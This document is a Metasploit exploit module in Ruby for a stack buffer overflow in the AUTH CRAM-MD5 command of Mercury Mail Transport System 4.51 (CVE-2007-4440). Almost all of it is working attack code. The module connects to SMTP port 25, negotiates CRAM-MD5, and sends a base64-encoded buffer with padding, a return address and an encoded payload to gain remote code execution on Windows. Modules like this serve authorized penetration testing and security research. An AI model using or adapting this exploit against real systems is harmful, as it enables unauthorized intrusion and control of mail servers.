Mercury Mail SMTP AUTH CRAM-MD5 Buffer Overflow

`##  
# $Id$  
##  
  
##  
# This file is part of the Metasploit Framework and may be subject to   
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
  
require 'msf/core'  
  
  
class Metasploit3 < Msf::Exploit::Remote  
  
include Msf::Exploit::Remote::Tcp  
  
def initialize(info = {})  
super(update_info(info,   
'Name' => 'Mercury Mail SMTP AUTH CRAM-MD5 Buffer Overflow',  
'Description' => %q{  
This module exploits a stack overflow in Mercury Mail Transport System 4.51.  
By sending a specially crafted argument to the AUTH CRAM-MD5 command, an attacker  
may be able to execute arbitrary code.  
},  
'Author' => [ 'MC' ],  
'Version' => '$Revision$',  
'References' =>  
[  
[ 'CVE', '2007-4440' ],  
[ 'OSVDB', '39669' ],  
[ 'BID', '25357' ],  
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'thread',  
},  
'Platform' => 'win',  
'Privileged' => true,  
'Payload' =>  
{  
'Space' => 600,  
'BadChars' => "\x00\x0a\x0d\x20\x25",  
'StackAdjustment' => -3500,   
},  
'Targets' =>   
[  
[ 'Mercury Mail Transport System 4.51', { 'Ret' => 0x258d0d1e } ], # ter32.dll   
],  
'DefaultTarget' => 0,  
'DisclosureDate' => 'Aug 18 2007'))  
  
register_options([ Opt::RPORT(25) ], self.class)  
end  
  
def exploit  
connect  
  
sock.get_once   
  
sock.put("EHLO\r\n")  
  
sock.get_once   
  
sock.put("AUTH CRAM-MD5\r\n")  
  
sock.get_once  
sleep(0.25)  
  
buffer = rand_text_alpha_upper(204) + [target.ret].pack('V')   
buffer << payload.encoded + rand_text_alpha_upper(1075 - payload.encoded.length)  
  
sploit = Rex::Text.encode_base64(buffer)  
  
print_status("Trying target #{target.name}...")   
sock.put(sploit + "\r\n")  
  
handler  
disconnect  
end  
  
end  
`